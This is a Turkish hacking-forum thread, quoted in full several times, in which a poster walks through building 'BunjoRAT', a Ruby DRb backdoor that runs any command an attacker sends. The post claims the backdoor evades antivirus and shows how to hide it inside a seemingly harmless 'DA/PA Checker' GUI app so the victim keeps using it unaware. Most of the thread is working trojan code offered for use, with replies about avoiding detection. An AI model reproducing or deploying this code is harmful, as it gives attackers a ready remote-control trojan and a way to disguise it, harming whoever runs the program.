Antivirüslerle Alay Etmek! (RCE #2) (%100 FUD)

Quantum PH

Üye
2 Mar 2024
70
33
New Jersey
I am not selling a paid virus, I am giving an example explanation and you can see from the report results that it works.
I tested the codes on the computer and it really catches eset nod32 antivirus.
This really wasn't any fun.

JMehY8v.png


It's good content for beginners, but there are a lot of topics you need to add.
My advice to you is to turn to reverse engineering because if you want to bypass the antivirus program completely, you need to know reverse engineering.
 

Bunjo

Uzman üye
14 Ara 2020
1,592
1,889
I Won
I tested the codes on the computer and it really catches eset nod32 antivirus.
This really wasn't any fun.

JMehY8v.png


It's good content for beginners, but there are a lot of topics you need to add.
My advice to you is to turn to reverse engineering because if you want to bypass the antivirus program completely, you need to know reverse engineering.
You hid the name of the running program and sent a picture, you are sharing a fake image. My program's name is not that long . Also, it may have been a while since I published the program. This is the second topic of the series

Tarama yaptığı porgramın ismini saklamış büyük ihtimalle başka bir dosya çünkü benim dosyamın ismi o kadar uzun değil. Ayrıca konuyu açdığım günden bugüne geçen zaman çerçevesi içerisinde de başka insanlar bu dosyaya tarama yaptı artık belki bulunabiliyor olma ihtimali var ve bu her virüs için geçerlidir. Konuyu açtığım günden sonraki gün yaptığım runtime testlerde de Windows Defender Avast avg yazılımlarını başarıyla atlattı. Kısacası konu açıldığı gün %100 fud olarak yapılmıştı.
 
Son düzenleme:

bayoyunsultanı

Katılımcı Üye
24 Kas 2023
273
98
Kaiserreich


oqk18ir.png



lbn20fm.png
2q250vr.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz.

İlk Konu:
Remote Code Execution Servisi Kodlamak! #1



- client.rb -

Ruby:
require 'drb'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join

- server.rb -

Ruby:
require 'drb'

begin
  rshell = DRbObject.new_with_uri("druby://localhost:8080")
  loop do
    begin
      STDOUT.print("Command: ")
      command = gets

      STDOUT.puts("\nOutput: ")
      puts rshell.exec command
    rescue
   
    end
  end
rescue => exception
  STDOUT.puts(exception)
end

Bir önce açtığım konuda programı Debian/Linux olan bir sistemde çalıştırmıştım ve platform bağımsızlığı olduğunu da belirtmiştim.
Şimdi ise Windows bir sistemde de deneyelim.

n6nr764.png



Şekildeki gibi sorunsuz şekilde program çalışıyor.


9p23xkw.png
bm6va6x.png

ig3p901.png


Rapor Linkleri:

Virustotal: VirusTotal

Jotti: client.rb - Jotti's malware scan

Virscan: VirScan - 多引擎文件在线检测平台


Raw script yüklenince bulmuyor diyenler için: Saldırgan komut çalıştırırken bile defender bir işe yaramıyor, başka yazılımlar ile de deneyebilirsiniz.

İyi uykular Windows Defender...

pfv70fc.png


Şimdi kodumuzda biraz iyileştirmeler yapmalıyız. Örnek olarak karşı tarafa boş komut yollandığı zaman bağlantı sonlandırıyor.

Komut yollarken bir hata yakalama metodu ekleyeceğiz. Hata yakalama metodunun içinin boş olması ve bir döngüde olmamızın sayesinde bağlantı kapanmaycaktır.

- server.rb -


Ruby:
require 'drb'

class RServer
  def get_shell
    begin
      @shell = DRbObject.new_with_uri("druby://localhost:8080")
    rescue => get_shell_error
      STDERR.puts("Error: #{get_shell_error}")
    end
  end

  def banner
    banner_text = <<-'BANNER_TEXT'
     __________________
    .-'  \ _.-''-._ /  '-.     %100 FUD
  .-/\   .'.      .'.   /\-.   ANKA TEAM
_'/  \.'   '.  .'   './  \'_   BunjoRAT
:======:======::======:======:   RUBY
'. '.  \     ''     /  .' .'
   '. .  \   :  :   /  . .'
     '.'  \  '  '  /  '.'
       ':  \:    :/  :'
         '. \    / .'
           '.\  /.'
             '\/'
    BANNER_TEXT

    puts(banner_text.red)
  end

  def endl
    puts
  end

  def exec_command
    loop do
      begin
        print("Execute: ".cyan)
        command = gets.chomp
        endl
        puts(@shell.exec(command))
      rescue
     
      end
    end
  end
end

class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def yellow
    "\e[33m#{self}\e[0m"
  end

  def blue
    "\e[34m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end

  def cyan
    "\e[36m#{self}\e[0m"
  end

  def white
    "\e[37m#{self}\e[0m"
  end
end


server = RServer.new
server.banner
server.get_shell
server.exec_command

Görselde olduğu gibi sorun çözüldü.

o6yryxh.png


Server (saldırgan) tarafında yaptığımız ayarlamalar şuan için bitti.



Eğer karşı taraf programı kapatırsa sunucu durur ve bağlantımızı kayıp ederiz. Bunun için yapabileceğimiz şeylerden bazıları:



1- Kodu bir servis olarak bilgisayara enjekte etmek.

2- Kullanıcıya virüsü bir programmış gibi gösterip bağlantıyı arka planda çalıştırmak.

3- Programı temp gibi gözden kaçabilecek yerlere kopyalayıp, başlangıçta çalıştırılacaklara eklemek.




Ben bu konuda 2. seçeneği anlatacağım.

Önceden konusunu açtığım bir DA/PA Checker programım vardı.

DA/PA Checker konusu için tıkla!

Virüsü bu programın içine gömmeyi deneyelim.

Burada karşımıza GIL gibi büyük bir sorun çıkıyor.

GIL konum için tıkla!

Burada "eventmachine" adlı bir gem devreye giriyor ve asenkron programlama yapabilmemize olanak sağlıyor.

DA/PA Checker Kodları:


Ruby:
require 'gtk3'
require 'httparty'

class MainWindow
  def initialize
    @headers = {
      'X-RapidAPI-Key': '',
      'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com'
    }

    @window = Gtk::Window.new
    @window.title = "DA/PA Checker"
    @window.set_default_size(250, 280)
    @window.signal_connect("destroy") { Gtk.main_quit }

    @vbox = Gtk::Box.new(:vertical, 5)
    @window.add(@vbox)

    @entry = Gtk::Entry.new
    @vbox.pack_start(@entry, expand: false, fill: false, padding: 5)

    @button = Gtk::Button.new(label: "Check DA/PA")
    @button.signal_connect("clicked") { checker }
    @vbox.pack_start(@button, expand: false, fill: false, padding: 5)

    @textview = Gtk::TextView.new
    @textview.editable = false
    @scrolled_window = Gtk::ScrolledWindow.new
    @scrolled_window.add(@textview)
    @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5)

    @window.show_all
  end

  def add_text(target, da, pa, spam)
    @textview.buffer.text += "Target: #{target}\n"
    @textview.buffer.text += "DA: #{da}\n"
    @textview.buffer.text += "PA: #{pa}\n"
    @textview.buffer.text += "Spam: #{spam}\n"
  end

    def send_req(domain)
      @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers)

      target = @response['body']['target']
      da = @response['body']['da_score']
      pa = @response['body']['pa_score']
      spam = @response['body']['spam_score']

      add_text(target, da, pa, spam)
    end

  def checker
    @textview.buffer.text = ""
    domain = @entry.text
    send_req(domain)
  end
end

Gtk.init
MainWindow.new
Gtk.main

İçine gömme yapacağımız kod bu olacak.

Not: Bu konular karşı tarafa zarar vermeniz için açılmıyor, siz kendiniz başka başka projelerinizin içine aynı şekilde gömme işleminizi yapabilirsiniz fakat ben bunu burada anlatmayacağım. Kısaca demek istediğim şey projenizi dosyalara parçalayıp çok fazla klasör ve dosya elde edebilirsiniz ve onların içinden birisine yine aynı işlemi yapabilirsiniz fakat ben bunu burada anlatırsam konu amacından çıkar.

Ufak bir programa gömme işlemi aşamasına geçelim.

Eventmachine gemini indirelim.

Rich (BB code):
gem install eventmachine

5ef2nwn.png


Şimdi de DRB sunucusunu arka planda çalışacak şekilde kodda değiştirelim.

- client.rb -


Ruby:
require 'drb'
require 'eventmachine'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service('druby://0.0.0.0:8080', RShell.new)

EM.run do
  puts("Asenkron gibisi yok!")
end


kcrf63e.png


GIL engelini de atlattığımıza göre artık bu kodu DA/PA Checker programıyla entegre etmekte hazırız.

Entegre Kod:


Ruby:
require 'drb'
require 'eventmachine'
require 'gtk3'
require 'httparty'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service('druby://0.0.0.0:8080', RShell.new)

EM.run do
  class MainWindow
    def initialize
      @headers = {
        'X-RapidAPI-Key': 'ANAHTARINIZ',
        'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com'
      }

      @window = Gtk::Window.new
      @window.title = "DA/PA Checker"
      @window.set_default_size(250, 280)
      @window.signal_connect("destroy") { Gtk.main_quit }

      @vbox = Gtk::Box.new(:vertical, 5)
      @window.add(@vbox)

      @entry = Gtk::Entry.new
      @vbox.pack_start(@entry, expand: false, fill: false, padding: 5)

      @button = Gtk::Button.new(label: "Check DA/PA")
      @button.signal_connect("clicked") { checker }
      @vbox.pack_start(@button, expand: false, fill: false, padding: 5)

      @textview = Gtk::TextView.new
      @textview.editable = false
      @scrolled_window = Gtk::ScrolledWindow.new
      @scrolled_window.add(@textview)
      @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5)

      @window.show_all
    end

    def add_text(target, da, pa, spam)
      @textview.buffer.text += "Target: #{target}\n"
      @textview.buffer.text += "DA: #{da}\n"
      @textview.buffer.text += "PA: #{pa}\n"
      @textview.buffer.text += "Spam: #{spam}\n"
    end

    def send_req(domain)
      @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers)

      target = @response['body']['target']
      da = @response['body']['da_score']
      pa = @response['body']['pa_score']
      spam = @response['body']['spam_score']

      add_text(target, da, pa, spam)
    end

    def checker
      @textview.buffer.text = ""
      domain = @entry.text
      send_req(domain)
    end
  end

  Gtk.init
  MainWindow.new
  Gtk.main
end

Evet o mutlu mutlu programını kullanmaya devam edebilir, biz de onu kullanıyoruz.

ldr9pew.png


Okuyan herkese teşekkür ederim. Yeni konular gelecektir.

Emeğe karşılık konuyu beğenip mesaj atabilirsiniz :)


Sayenizde bende ruby öğreniyorum eline sağlık 😁
 
15 Mar 2022
81
21


oqk18ir.png



lbn20fm.png
2q250vr.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz.

İlk Konu:
Remote Code Execution Servisi Kodlamak! #1



- client.rb -

Ruby:
require 'drb'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join

- server.rb -

Ruby:
require 'drb'

begin
  rshell = DRbObject.new_with_uri("druby://localhost:8080")
  loop do
    begin
      STDOUT.print("Command: ")
      command = gets

      STDOUT.puts("\nOutput: ")
      puts rshell.exec command
    rescue
  
    end
  end
rescue => exception
  STDOUT.puts(exception)
end

Bir önce açtığım konuda programı Debian/Linux olan bir sistemde çalıştırmıştım ve platform bağımsızlığı olduğunu da belirtmiştim.
Şimdi ise Windows bir sistemde de deneyelim.

n6nr764.png



Şekildeki gibi sorunsuz şekilde program çalışıyor.


9p23xkw.png
bm6va6x.png

ig3p901.png


Rapor Linkleri:

Virustotal: VirusTotal

Jotti: client.rb - Jotti's malware scan

Virscan: VirScan - 多引擎文件在线检测平台


Raw script yüklenince bulmuyor diyenler için: Saldırgan komut çalıştırırken bile defender bir işe yaramıyor, başka yazılımlar ile de deneyebilirsiniz.

İyi uykular Windows Defender...

pfv70fc.png


Şimdi kodumuzda biraz iyileştirmeler yapmalıyız. Örnek olarak karşı tarafa boş komut yollandığı zaman bağlantı sonlandırıyor.

Komut yollarken bir hata yakalama metodu ekleyeceğiz. Hata yakalama metodunun içinin boş olması ve bir döngüde olmamızın sayesinde bağlantı kapanmaycaktır.

- server.rb -


Ruby:
require 'drb'

class RServer
  def get_shell
    begin
      @shell = DRbObject.new_with_uri("druby://localhost:8080")
    rescue => get_shell_error
      STDERR.puts("Error: #{get_shell_error}")
    end
  end

  def banner
    banner_text = <<-'BANNER_TEXT'
     __________________
    .-'  \ _.-''-._ /  '-.     %100 FUD
  .-/\   .'.      .'.   /\-.   ANKA TEAM
_'/  \.'   '.  .'   './  \'_   BunjoRAT
:======:======::======:======:   RUBY
'. '.  \     ''     /  .' .'
   '. .  \   :  :   /  . .'
     '.'  \  '  '  /  '.'
       ':  \:    :/  :'
         '. \    / .'
           '.\  /.'
             '\/'
    BANNER_TEXT

    puts(banner_text.red)
  end

  def endl
    puts
  end

  def exec_command
    loop do
      begin
        print("Execute: ".cyan)
        command = gets.chomp
        endl
        puts(@shell.exec(command))
      rescue
    
      end
    end
  end
end

class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def yellow
    "\e[33m#{self}\e[0m"
  end

  def blue
    "\e[34m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end

  def cyan
    "\e[36m#{self}\e[0m"
  end

  def white
    "\e[37m#{self}\e[0m"
  end
end


server = RServer.new
server.banner
server.get_shell
server.exec_command

Görselde olduğu gibi sorun çözüldü.

o6yryxh.png


Server (saldırgan) tarafında yaptığımız ayarlamalar şuan için bitti.



Eğer karşı taraf programı kapatırsa sunucu durur ve bağlantımızı kayıp ederiz. Bunun için yapabileceğimiz şeylerden bazıları:



1- Kodu bir servis olarak bilgisayara enjekte etmek.

2- Kullanıcıya virüsü bir programmış gibi gösterip bağlantıyı arka planda çalıştırmak.

3- Programı temp gibi gözden kaçabilecek yerlere kopyalayıp, başlangıçta çalıştırılacaklara eklemek.




Ben bu konuda 2. seçeneği anlatacağım.

Önceden konusunu açtığım bir DA/PA Checker programım vardı.

DA/PA Checker konusu için tıkla!

Virüsü bu programın içine gömmeyi deneyelim.

Burada karşımıza GIL gibi büyük bir sorun çıkıyor.

GIL konum için tıkla!

Burada "eventmachine" adlı bir gem devreye giriyor ve asenkron programlama yapabilmemize olanak sağlıyor.

DA/PA Checker Kodları:


Ruby:
require 'gtk3'
require 'httparty'

class MainWindow
  def initialize
    @headers = {
      'X-RapidAPI-Key': '',
      'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com'
    }

    @window = Gtk::Window.new
    @window.title = "DA/PA Checker"
    @window.set_default_size(250, 280)
    @window.signal_connect("destroy") { Gtk.main_quit }

    @vbox = Gtk::Box.new(:vertical, 5)
    @window.add(@vbox)

    @entry = Gtk::Entry.new
    @vbox.pack_start(@entry, expand: false, fill: false, padding: 5)

    @button = Gtk::Button.new(label: "Check DA/PA")
    @button.signal_connect("clicked") { checker }
    @vbox.pack_start(@button, expand: false, fill: false, padding: 5)

    @textview = Gtk::TextView.new
    @textview.editable = false
    @scrolled_window = Gtk::ScrolledWindow.new
    @scrolled_window.add(@textview)
    @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5)

    @window.show_all
  end

  def add_text(target, da, pa, spam)
    @textview.buffer.text += "Target: #{target}\n"
    @textview.buffer.text += "DA: #{da}\n"
    @textview.buffer.text += "PA: #{pa}\n"
    @textview.buffer.text += "Spam: #{spam}\n"
  end

    def send_req(domain)
      @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers)

      target = @response['body']['target']
      da = @response['body']['da_score']
      pa = @response['body']['pa_score']
      spam = @response['body']['spam_score']

      add_text(target, da, pa, spam)
    end

  def checker
    @textview.buffer.text = ""
    domain = @entry.text
    send_req(domain)
  end
end

Gtk.init
MainWindow.new
Gtk.main

İçine gömme yapacağımız kod bu olacak.

Not: Bu konular karşı tarafa zarar vermeniz için açılmıyor, siz kendiniz başka başka projelerinizin içine aynı şekilde gömme işleminizi yapabilirsiniz fakat ben bunu burada anlatmayacağım. Kısaca demek istediğim şey projenizi dosyalara parçalayıp çok fazla klasör ve dosya elde edebilirsiniz ve onların içinden birisine yine aynı işlemi yapabilirsiniz fakat ben bunu burada anlatırsam konu amacından çıkar.

Ufak bir programa gömme işlemi aşamasına geçelim.

Eventmachine gemini indirelim.

Rich (BB code):
gem install eventmachine

5ef2nwn.png


Şimdi de DRB sunucusunu arka planda çalışacak şekilde kodda değiştirelim.

- client.rb -


Ruby:
require 'drb'
require 'eventmachine'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service('druby://0.0.0.0:8080', RShell.new)

EM.run do
  puts("Asenkron gibisi yok!")
end


kcrf63e.png


GIL engelini de atlattığımıza göre artık bu kodu DA/PA Checker programıyla entegre etmekte hazırız.

Entegre Kod:


Ruby:
require 'drb'
require 'eventmachine'
require 'gtk3'
require 'httparty'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service('druby://0.0.0.0:8080', RShell.new)

EM.run do
  class MainWindow
    def initialize
      @headers = {
        'X-RapidAPI-Key': 'ANAHTARINIZ',
        'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com'
      }

      @window = Gtk::Window.new
      @window.title = "DA/PA Checker"
      @window.set_default_size(250, 280)
      @window.signal_connect("destroy") { Gtk.main_quit }

      @vbox = Gtk::Box.new(:vertical, 5)
      @window.add(@vbox)

      @entry = Gtk::Entry.new
      @vbox.pack_start(@entry, expand: false, fill: false, padding: 5)

      @button = Gtk::Button.new(label: "Check DA/PA")
      @button.signal_connect("clicked") { checker }
      @vbox.pack_start(@button, expand: false, fill: false, padding: 5)

      @textview = Gtk::TextView.new
      @textview.editable = false
      @scrolled_window = Gtk::ScrolledWindow.new
      @scrolled_window.add(@textview)
      @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5)

      @window.show_all
    end

    def add_text(target, da, pa, spam)
      @textview.buffer.text += "Target: #{target}\n"
      @textview.buffer.text += "DA: #{da}\n"
      @textview.buffer.text += "PA: #{pa}\n"
      @textview.buffer.text += "Spam: #{spam}\n"
    end

    def send_req(domain)
      @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers)

      target = @response['body']['target']
      da = @response['body']['da_score']
      pa = @response['body']['pa_score']
      spam = @response['body']['spam_score']

      add_text(target, da, pa, spam)
    end

    def checker
      @textview.buffer.text = ""
      domain = @entry.text
      send_req(domain)
    end
  end

  Gtk.init
  MainWindow.new
  Gtk.main
end

Evet o mutlu mutlu programını kullanmaya devam edebilir, biz de onu kullanıyoruz.

ldr9pew.png


Okuyan herkese teşekkür ederim. Yeni konular gelecektir.

Emeğe karşılık konuyu beğenip mesaj atabilirsiniz :)


elinize sağlık güzel konu
 
Moderatör tarafında düzenlendi:

ACE Veen

Uzman üye
4 Şub 2023
1,111
563
Belirsiz


oqk18ir.png



lbn20fm.png
2q250vr.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz.

İlk Konu:
Remote Code Execution Servisi Kodlamak! #1



- client.rb -

Ruby:
require 'drb'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join

- server.rb -

Ruby:
require 'drb'

begin
  rshell = DRbObject.new_with_uri("druby://localhost:8080")
  loop do
    begin
      STDOUT.print("Command: ")
      command = gets

      STDOUT.puts("\nOutput: ")
      puts rshell.exec command
    rescue
   
    end
  end
rescue => exception
  STDOUT.puts(exception)
end

Bir önce açtığım konuda programı Debian/Linux olan bir sistemde çalıştırmıştım ve platform bağımsızlığı olduğunu da belirtmiştim.
Şimdi ise Windows bir sistemde de deneyelim.

n6nr764.png



Şekildeki gibi sorunsuz şekilde program çalışıyor.


9p23xkw.png
bm6va6x.png

ig3p901.png


Rapor Linkleri:

Virustotal: VirusTotal

Jotti: client.rb - Jotti's malware scan

Virscan: VirScan - 多引擎文件在线检测平台


Raw script yüklenince bulmuyor diyenler için: Saldırgan komut çalıştırırken bile defender bir işe yaramıyor, başka yazılımlar ile de deneyebilirsiniz.

İyi uykular Windows Defender...

pfv70fc.png


Şimdi kodumuzda biraz iyileştirmeler yapmalıyız. Örnek olarak karşı tarafa boş komut yollandığı zaman bağlantı sonlandırıyor.

Komut yollarken bir hata yakalama metodu ekleyeceğiz. Hata yakalama metodunun içinin boş olması ve bir döngüde olmamızın sayesinde bağlantı kapanmaycaktır.

- server.rb -


Ruby:
require 'drb'

class RServer
  def get_shell
    begin
      @shell = DRbObject.new_with_uri("druby://localhost:8080")
    rescue => get_shell_error
      STDERR.puts("Error: #{get_shell_error}")
    end
  end

  def banner
    banner_text = <<-'BANNER_TEXT'
     __________________
    .-'  \ _.-''-._ /  '-.     %100 FUD
  .-/\   .'.      .'.   /\-.   ANKA TEAM
_'/  \.'   '.  .'   './  \'_   BunjoRAT
:======:======::======:======:   RUBY
'. '.  \     ''     /  .' .'
   '. .  \   :  :   /  . .'
     '.'  \  '  '  /  '.'
       ':  \:    :/  :'
         '. \    / .'
           '.\  /.'
             '\/'
    BANNER_TEXT

    puts(banner_text.red)
  end

  def endl
    puts
  end

  def exec_command
    loop do
      begin
        print("Execute: ".cyan)
        command = gets.chomp
        endl
        puts(@shell.exec(command))
      rescue
     
      end
    end
  end
end

class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def yellow
    "\e[33m#{self}\e[0m"
  end

  def blue
    "\e[34m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end

  def cyan
    "\e[36m#{self}\e[0m"
  end

  def white
    "\e[37m#{self}\e[0m"
  end
end


server = RServer.new
server.banner
server.get_shell
server.exec_command

Görselde olduğu gibi sorun çözüldü.

o6yryxh.png


Server (saldırgan) tarafında yaptığımız ayarlamalar şuan için bitti.



Eğer karşı taraf programı kapatırsa sunucu durur ve bağlantımızı kayıp ederiz. Bunun için yapabileceğimiz şeylerden bazıları:



1- Kodu bir servis olarak bilgisayara enjekte etmek.

2- Kullanıcıya virüsü bir programmış gibi gösterip bağlantıyı arka planda çalıştırmak.

3- Programı temp gibi gözden kaçabilecek yerlere kopyalayıp, başlangıçta çalıştırılacaklara eklemek.




Ben bu konuda 2. seçeneği anlatacağım.

Önceden konusunu açtığım bir DA/PA Checker programım vardı.

DA/PA Checker konusu için tıkla!

Virüsü bu programın içine gömmeyi deneyelim.

Burada karşımıza GIL gibi büyük bir sorun çıkıyor.

GIL konum için tıkla!

Burada "eventmachine" adlı bir gem devreye giriyor ve asenkron programlama yapabilmemize olanak sağlıyor.

DA/PA Checker Kodları:


Ruby:
require 'gtk3'
require 'httparty'

class MainWindow
  def initialize
    @headers = {
      'X-RapidAPI-Key': '',
      'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com'
    }

    @window = Gtk::Window.new
    @window.title = "DA/PA Checker"
    @window.set_default_size(250, 280)
    @window.signal_connect("destroy") { Gtk.main_quit }

    @vbox = Gtk::Box.new(:vertical, 5)
    @window.add(@vbox)

    @entry = Gtk::Entry.new
    @vbox.pack_start(@entry, expand: false, fill: false, padding: 5)

    @button = Gtk::Button.new(label: "Check DA/PA")
    @button.signal_connect("clicked") { checker }
    @vbox.pack_start(@button, expand: false, fill: false, padding: 5)

    @textview = Gtk::TextView.new
    @textview.editable = false
    @scrolled_window = Gtk::ScrolledWindow.new
    @scrolled_window.add(@textview)
    @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5)

    @window.show_all
  end

  def add_text(target, da, pa, spam)
    @textview.buffer.text += "Target: #{target}\n"
    @textview.buffer.text += "DA: #{da}\n"
    @textview.buffer.text += "PA: #{pa}\n"
    @textview.buffer.text += "Spam: #{spam}\n"
  end

    def send_req(domain)
      @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers)

      target = @response['body']['target']
      da = @response['body']['da_score']
      pa = @response['body']['pa_score']
      spam = @response['body']['spam_score']

      add_text(target, da, pa, spam)
    end

  def checker
    @textview.buffer.text = ""
    domain = @entry.text
    send_req(domain)
  end
end

Gtk.init
MainWindow.new
Gtk.main

İçine gömme yapacağımız kod bu olacak.

Not: Bu konular karşı tarafa zarar vermeniz için açılmıyor, siz kendiniz başka başka projelerinizin içine aynı şekilde gömme işleminizi yapabilirsiniz fakat ben bunu burada anlatmayacağım. Kısaca demek istediğim şey projenizi dosyalara parçalayıp çok fazla klasör ve dosya elde edebilirsiniz ve onların içinden birisine yine aynı işlemi yapabilirsiniz fakat ben bunu burada anlatırsam konu amacından çıkar.

Ufak bir programa gömme işlemi aşamasına geçelim.

Eventmachine gemini indirelim.

Rich (BB code):
gem install eventmachine

5ef2nwn.png


Şimdi de DRB sunucusunu arka planda çalışacak şekilde kodda değiştirelim.

- client.rb -


Ruby:
require 'drb'
require 'eventmachine'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service('druby://0.0.0.0:8080', RShell.new)

EM.run do
  puts("Asenkron gibisi yok!")
end


kcrf63e.png


GIL engelini de atlattığımıza göre artık bu kodu DA/PA Checker programıyla entegre etmekte hazırız.

Entegre Kod:


Ruby:
require 'drb'
require 'eventmachine'
require 'gtk3'
require 'httparty'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service('druby://0.0.0.0:8080', RShell.new)

EM.run do
  class MainWindow
    def initialize
      @headers = {
        'X-RapidAPI-Key': 'ANAHTARINIZ',
        'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com'
      }

      @window = Gtk::Window.new
      @window.title = "DA/PA Checker"
      @window.set_default_size(250, 280)
      @window.signal_connect("destroy") { Gtk.main_quit }

      @vbox = Gtk::Box.new(:vertical, 5)
      @window.add(@vbox)

      @entry = Gtk::Entry.new
      @vbox.pack_start(@entry, expand: false, fill: false, padding: 5)

      @button = Gtk::Button.new(label: "Check DA/PA")
      @button.signal_connect("clicked") { checker }
      @vbox.pack_start(@button, expand: false, fill: false, padding: 5)

      @textview = Gtk::TextView.new
      @textview.editable = false
      @scrolled_window = Gtk::ScrolledWindow.new
      @scrolled_window.add(@textview)
      @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5)

      @window.show_all
    end

    def add_text(target, da, pa, spam)
      @textview.buffer.text += "Target: #{target}\n"
      @textview.buffer.text += "DA: #{da}\n"
      @textview.buffer.text += "PA: #{pa}\n"
      @textview.buffer.text += "Spam: #{spam}\n"
    end

    def send_req(domain)
      @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers)

      target = @response['body']['target']
      da = @response['body']['da_score']
      pa = @response['body']['pa_score']
      spam = @response['body']['spam_score']

      add_text(target, da, pa, spam)
    end

    def checker
      @textview.buffer.text = ""
      domain = @entry.text
      send_req(domain)
    end
  end

  Gtk.init
  MainWindow.new
  Gtk.main
end

Evet o mutlu mutlu programını kullanmaya devam edebilir, biz de onu kullanıyoruz.

ldr9pew.png


Okuyan herkese teşekkür ederim. Yeni konular gelecektir.

Emeğe karşılık konuyu beğenip mesaj atabilirsiniz :)


vtye atmayalımda yakalamasınlar
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.